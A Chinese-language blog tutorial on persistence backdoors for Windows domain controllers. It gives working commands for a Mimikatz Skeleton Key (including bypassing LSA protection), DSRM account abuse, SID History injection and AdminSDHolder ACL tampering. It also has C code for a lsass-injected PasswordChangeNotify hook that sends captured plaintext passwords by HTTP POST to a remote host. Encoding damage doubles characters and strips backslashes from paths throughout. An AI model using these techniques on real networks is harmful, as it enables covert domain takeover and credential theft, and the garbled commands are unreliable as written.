0x00 前言
當(dāng)獲取到域控的權(quán)限后,為了防止對域控權(quán)限的丟失,hacker 也會使用一些技術(shù)來維持已獲取到的域權(quán)限。因此,本文對常見的域后門技術(shù)進(jìn)行了總結(jié)并對其利用方式進(jìn)行了詳細(xì)的說明,希望可以對大家的學(xué)習(xí)提供一些幫助。
0x01 創(chuàng)建 Skeleton Key 域后門
Skeleton Key 即 “萬能鑰匙”。通過在域控上安裝 Skeleton Key,所有域用戶賬戶都可以使用一個(gè)相同的密碼進(jìn)行認(rèn)證,同時(shí)原有密碼仍然有效。
該技術(shù)通過注入 lsass.exe 進(jìn)程實(shí)現(xiàn),并且創(chuàng)建的 Skeleton Key 只是保存在內(nèi)存中,域控只要重啟,Skeleton Key 就會失效。
注意:利用該技術(shù)需要擁有域管理員的權(quán)限
1. 常規(guī)利用
將 Mimikatz 上傳到域控制器,執(zhí)行以下命令:
mimikatz.exe "privilege::debug" "misc::skeleton" exit
執(zhí)行后,將成功創(chuàng)建 Skeleton Key 域后門,為所有的域賬戶設(shè)置一個(gè)相同的密碼 “mimikatz”,從而使其他機(jī)器可以成功登錄域控。
2. 緩解措施
微軟在 2014 年 3 月添加了 LSA(Local Security Authority,本地安全機(jī)構(gòu))保護(hù)策略,用來防止對 lsass.exe 進(jìn)程的內(nèi)存讀取和代碼注入。通過執(zhí)行以下命令,可以開啟或關(guān)閉 LSA 保護(hù)。
# 開啟 LSA 保護(hù)策略
reg add "HKEY_LOCAL_macHINESYSTEMCurrentControlSetControlLsa" /v RunAsPPL /t REG_Dword /d 1 /f
# 關(guān)閉 LSA 保護(hù)策略
reg delete "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa" /v RunAsPPL
開啟LSA 保護(hù)策略并重啟系統(tǒng)后,Mimikatz 的相關(guān)操作都會失敗。此時(shí)即使已經(jīng)獲取了 Debug 權(quán)限也無法讀取用戶哈希值,更無法安裝 Skeleton Key。
不過,Mimikatz 可以繞過 LSA 保護(hù)。該功能需要 Minikatz 項(xiàng)目中的 mimidrv.sys 驅(qū)動文件,相應(yīng)的 Skeleton Key 安裝命令也變?yōu)榱巳缦拢?/p>
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
0x02 創(chuàng)建 DSRM 域后門
DSRM(Directory Services Restore Mode,目錄服務(wù)還原模式)是域控的安全模式啟動選項(xiàng),用于使服務(wù)器脫機(jī),以進(jìn)行緊急維護(hù)。在初期安裝 windows 域服務(wù)時(shí),安裝向?qū)崾居脩粼O(shè)置 DSRM 的管理員密碼。有了該密碼后,網(wǎng)絡(luò)管理員可以在后期域控發(fā)生問題時(shí)修復(fù)、還原或重建活動目錄數(shù)據(jù)庫。
在域控上,DSRM 賬戶實(shí)際上就是本地管理員賬戶(Administrator),并且該賬戶的密碼在創(chuàng)建后幾乎很少使用。通過在域控上運(yùn)行 NTDSUtil,可以為 DSRM 賬戶修改密碼,相關(guān)命令如下:
# 進(jìn)入 ntdsutil
ntdsutil
# 進(jìn)入設(shè)置 DSRM 賬戶密碼設(shè)置模式
set dsrm password
# 在當(dāng)前域控上恢復(fù) DSRM 密碼
reset password on server null
# 輸入新密碼 123456Lhz!
<password>
# 再次輸入新密碼
<password>
# 退出 DSRM 密碼設(shè)置模式
q
# 退出 ntdsutil
q
hacker 可以通過修改 DSRM 賬戶的密碼,以維持對域控的權(quán)限。
該技術(shù)適用于 Windows Server 2008 及以后版本的服務(wù)器,并需要擁有域管理員的權(quán)限
利用過程:
① 執(zhí)行以下命令,通過 Mimikatz 讀取域控的 SAM 文件,獲取 DSRM 賬戶的哈希值。
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
② 修改 DSRM 賬戶的登錄模式,以允許該賬戶遠(yuǎn)程登錄。可以通過編輯注冊表的DsrmAdminLogonBehavior 鍵值來實(shí)現(xiàn),可選用的登錄模式有以下3種:
0:默認(rèn)值,只有當(dāng)域控制器重啟并進(jìn)入 DSRM 模式時(shí),才可以使用 DSRM 管理員賬號。
1:只有當(dāng)本地 AD DS 服務(wù)停止時(shí),才可以使用 DSRM 管理員賬號登錄域控制器。
2:在任何情況下,都可以使用 DSRM 管理員賬號登錄域控制器。
執(zhí)行以下命令,將 DSRM 的登錄模式改為 “2”,允許 DSRM 賬戶在任何情況下都可以登錄域控。
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f
③ 這時(shí),hacker 就可以通過 DSRM 賬戶對域控制器進(jìn)行控制了。
執(zhí)行以下命令,使用 DSRM 賬戶對域控執(zhí)行哈希傳遞攻擊并成功獲取域控權(quán)限:
0x03 SID History 的利用
1. SID & SID History
在 Windows 系統(tǒng)中,SID(Security Identifiers)是指安全標(biāo)識符,是用戶、用戶組或其他安全主體的唯一、不可變標(biāo)識符。
Windows 根據(jù) ACL(訪問控制列表)授予或拒絕對資源的訪問和特權(quán),ACL 使用 SID 來唯一標(biāo)識用戶及其組成員身份。當(dāng)用戶登錄到計(jì)算機(jī)時(shí),會生成一個(gè)訪問令牌,其中包含用戶和組 SID 和用戶權(quán)限級別。當(dāng)用戶請求訪問資源時(shí),將根據(jù) ACL 檢查訪問令牌以允許或拒絕對特定對象的特定操作。
如果將賬戶刪除,然后使用相同的名字創(chuàng)建另一個(gè)賬戶,那么新賬戶不會具有前一個(gè)賬戶的特權(quán)或訪問權(quán)限,這是因?yàn)閮蓚€(gè)賬戶的 SID 不同。
SID History 是一個(gè)支持域遷移方案的屬性,使得一個(gè)賬戶的訪問權(quán)限可以有效地克隆到另一個(gè)賬戶,這在域遷移過程中非常有用。例如,當(dāng) Domain A 中的用戶遷移到 Domain B 時(shí),會在 Domain B 中新創(chuàng)建一個(gè)賬號。此時(shí),將 Domain A 用戶的 SID 添加到 Domain B 的用戶賬戶的 SID History 屬性中。這就確保了 Domain B 用戶仍然擁有訪問 Domain A 中資源的權(quán)限。
2. 利用方法
在實(shí)戰(zhàn)中,hacker 可以將域管理員用戶的 SID 添加到其他域用戶的 SID History 屬性中,以此建立一個(gè)隱蔽的域后門。
利用該技術(shù)需要擁有域管理員權(quán)限
下面在域控制器(Win 2012)上進(jìn)行實(shí)操:
在 Windows Server 2019 上進(jìn)行測試時(shí)可能會報(bào)錯
① 創(chuàng)建域用戶 Alice
② 向域控制器上傳 Mimikatz,并執(zhí)行以下命令,將域管理員 Administrator 的 SID 添加到域用戶 Alice 的 SID History 屬性中:
# mimikatz版本大于2.1.0
mimikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:Alice /new:Administrator" exit
# mimikatz版本小于2.1.0
mimikatz.exe "privilege::debug" "misc::addsid Alice ADSAdministrator" exit
③ 通過 Powershell 查看 Alice 用戶的屬性,可以發(fā)現(xiàn)其 SID History 屬性值已經(jīng)與 Administrator 用戶的 SID 相同,這說明 Alice 用戶將繼承 Administrator 用戶的所有權(quán)限。
Import-Module ActiveDirectory
Get-ADUser hack -Properties SIDHistory
④ 通過 Alice 用戶連接域控,執(zhí)行 “whoami /priv” 命令,可以看到該用戶擁有域管理員的所有特權(quán)。
0x04 利用 AdminSDHolder 打造域后門
1. AdminSDHolder
AdminSDHolder 是一個(gè)特殊的 Active Directory 容器對象,位于 Domain NC 的 System 容器下。
AdminSDHolder 通常作為系統(tǒng)中某些受保護(hù)對象的安全模板,以防止這些對象遭受惡意修改或?yàn)E用。
受保護(hù)對象通常包括系統(tǒng)的特權(quán)用戶和重要的組,如 Administrator、Domain Admins、Enterprise Admins 以及 Schema Admins 等。
在活動目錄中,屬性 adminCount 用來標(biāo)記特權(quán)用戶和組。對于特權(quán)用戶和組來說,該屬性值被設(shè)為 1。
通過 ADFind 查詢 adminCount 屬性設(shè)置為 1 的對象,可以找到所有受 AdminSDHolder 保護(hù)的特權(quán)用戶和組。
# 枚舉受保護(hù)的用戶
Adfind.exe -b "dc=hack-my,dc=com" -f "&(objectcategory=person)(samaccountname=*)(admincount=1)" -dn
# 枚舉受保護(hù)的組
Adfind.exe -b "dc=hack-my,dc=com" -f "&(objectcategory=group)(admincount=1)" -dn
在默認(rèn)情況下,系統(tǒng)將定期(每60分鐘)檢查受保護(hù)對象的安全描述符,將受保護(hù)對象的 ACL 與 AdminSDHolder 容器的 ACL 進(jìn)行比較,如果二者不一致,系統(tǒng)就會將受保護(hù)對象的 ACL 強(qiáng)制修改為 AdminSDHolder 容器的 ACL。該工作通過 SDProp 進(jìn)程來完成,該進(jìn)程以 60 分鐘為一個(gè)工作周期。
2. 利用方法
在實(shí)戰(zhàn)中,hacker 可以篡改 AdminSDHolder 容器的 ACL 配置。當(dāng)系統(tǒng)調(diào)用 SDProp 進(jìn)程執(zhí)行相關(guān)工作時(shí),被篡改的 ACL 配置將同步到受保護(hù)的 ACL 中,以此建立一個(gè)隱蔽的域后門。
利用該技術(shù)需要擁有域管理員權(quán)限
執(zhí)行以下命令,通過 PowerView 向 AdminSDHolder 容器對象添加一個(gè) ACL,使普通域用戶 Alice 擁有對 AdminSDHolder 的 “完全控制” 權(quán)限。
Import-Module .PowerView.ps1
Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=hack-my,DC=com" -PrincipalIdentity Alice -Rights All -Verbose
執(zhí)行后,Alice 用戶成功擁有 AdminSDHolder 容器對象的完全控制權(quán)限
等待 60 分鐘后,Alice 用戶將獲得對系統(tǒng)中的特權(quán)用戶和組完全控制權(quán)限。
此時(shí),Alice 用戶可成功向 Domain Admins 等關(guān)鍵用戶組內(nèi)添加成員。
如果清除 Alice 用戶對 AdminSDHolder 的完全控制權(quán)限,可以執(zhí)行以下命令:
Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=hack-my,DC=com" -PrincipalIdentity Alice -Rights All -Verbose
3. 改變 SDProp 的工作周期
方法1:修改注冊表
hacker 也可以通過注冊表手動修改 SDProp 進(jìn)程的工作周期,以縮短等待的時(shí)長(最小值1分鐘,最大值2小時(shí))。該注冊表需要慎重修改, 當(dāng)修改的頻率變高時(shí),CPU處理LSASS的開銷也就越大,這很容易導(dǎo)致系統(tǒng)變得卡頓,該注冊表鍵默認(rèn)是不存在的。
# 工作周期修改為 1 分鐘,鍵值以秒為單位
reg add HKLMSYSTEMCurrentControlSetServicesNTDSParameters /v AdminSDProtectFrequency /t REG_DWORD /d 60
方法2:強(qiáng)制 SDProp 執(zhí)行
① 運(yùn)行 Ldp.exe(C:WindowsSystem32Ldp.exe)
② 點(diǎn)擊連接 -> 連接,輸入當(dāng)前機(jī)器的機(jī)器名或IP,端口默認(rèn)為 389
③ 點(diǎn)擊連接 -> 綁定,選擇綁定為當(dāng)前登錄的用戶
④ 在修改窗口這里針對不同版本的域控制器有不同的情況:
當(dāng)域控為Windows Server 2008時(shí),點(diǎn)擊瀏覽 -> 修改,在屬性選項(xiàng)卡中輸入 FixUpInheritance ,在值字段輸入 yes。操作選擇添加,然后點(diǎn)擊輸入,最后運(yùn)行即可。
當(dāng)域控為Windows Server 2008 R2或Windows Server 2012及以上時(shí),點(diǎn)擊瀏覽 -> 修改,在屬性選項(xiàng)卡中輸入 RunProtectAdminGroupsTask ,在值字段輸入 1。操作選擇添加,然后點(diǎn)擊輸入,最后運(yùn)行即可。
0x05 HOOK PasswordChangeNotify
PasswordChangeNotify 在微軟官方文檔中的名稱為 PsamPasswordNotificationRoutine,是一個(gè) Windows API。當(dāng)用戶重置密碼時(shí),Windows 會先檢查新密碼是否符合復(fù)雜性要求,如果密碼符合要求,LSA 會調(diào)用 PasswordChangeNotify 函數(shù)在系統(tǒng)中同步密碼。該函數(shù)的語法如下:
PSAM_PASSWORD_NOTIFICATION_ROUTINE PsamPasswordNotificationRoutine;
NTSTATUS PsamPasswordNotificationRoutine(
[in] PUNICODE_STRING UserName,
[in] ULONG RelativeId,
[in] PUNICODE_STRING NewPassword
)
{...}
當(dāng)調(diào)用 PasswordChangeNotify 時(shí),用戶名和密碼將以明文的形式傳入。hacker 可以通過 Hook 技術(shù),劫持 PasswordChangeNotify 函數(shù)的執(zhí)行流程,從而獲取傳入的明文密碼。
下面進(jìn)行演示:
① 生成 DLL 文件,需在項(xiàng)目屬性中將MFC的使用設(shè)為 ”在靜態(tài)庫中使用MFC“
② 將編譯好的 HookPasswordChange.dll 和 Invoke-ReflectivePEInjection.ps1 上傳到域控制器,并通過 Invoke-ReflectivePEInjection.ps1 將 HookPasswordChange.dll 注入 lsass.exe 進(jìn)程。
# 導(dǎo)入 Invoke-ReflectivePEInjection.ps1
Import-Module .Invoke-ReflectivePEInjection.ps1
# 讀取 HookPasswordChange.dll 并將其注入 lsass 進(jìn)程
$PEBytes = [IO.File]::ReadAllBytes('C:HookPasswordChange.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass
建議在 Windows Server 2012 上進(jìn)行測試,Window Server 2019 親測運(yùn)行腳本會報(bào)錯
③ 當(dāng)管理員修改密碼時(shí),用戶的新密碼將記錄在 c:windowstemp 目錄的 password.txt 文件中。
此外,password.txt 文件的保存路徑可以自定義,需要在 HookPasswordChange.cpp 文件中修改
我們還可以在源碼的基礎(chǔ)上通過 Win.NET API 添加一個(gè)簡單的 HTTP 請求功能,將獲取到的用戶密碼傳回遠(yuǎn)程服務(wù)器,相關(guān)代碼如下:
// 需要包含 --> #incloud <WinInet.h>
HINTERNET hInternet = InternetOpen(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (hInternet == NULL)
{
InternetCloseHandle(hInternet);
}
HINTERNET hSession = InternetConnect(hInternet, L"192.168.220.132", 6666, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (hSession == NULL)
{
InternetCloseHandle(hSession);
InternetCloseHandle(hInternet);
}
char strUserName[128];
char strPassword[128];
WideCharToMultiByte(CP_ACP, 0, userName, -1, strUserName, sizeof(strUserName), NULL, NULL);
WideCharToMultiByte(CP_ACP, 0, password, -1, strPassword, sizeof(strPassword), NULL, NULL);
char Credential[128];
snprintf(Credential, sizeof(Credential), "username=%s&password=%s", strUserName, strPassword);
HINTERNET hRequest = HttpOpenRequest(hSession, L"POST", L"/", NULL, NULL, NULL, 0, 0);
TCHAR ContentType[] = L"Content-Type: Application/x-www-form-urlencoded";
HttpAddRequestHeaders(hRequest, ContentType, -1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE);
HttpSendRequest(hRequest, NULL, 0, Credential, strlen(Credential));
重新編譯生成 HookPasswordChange.dll 并注入 lsass.exe 進(jìn)程,當(dāng)管理員修改密碼時(shí),將通過 HTTP POST 方法將用戶密碼外帶到遠(yuǎn)程服務(wù)器。
加入HTTP 請求功能后重新編譯時(shí),如果出現(xiàn)報(bào)錯:無法解析的外部符合 _imp_XXXXX,可以參考:??解決方案??
0x06 總結(jié)
本文僅僅只對常見的域后門技術(shù)進(jìn)行了總結(jié),希望可以對大家的學(xué)習(xí)有幫助。如有不對,歡迎指正。
本文作者:LHzzzzz, 轉(zhuǎn)載請注明來自?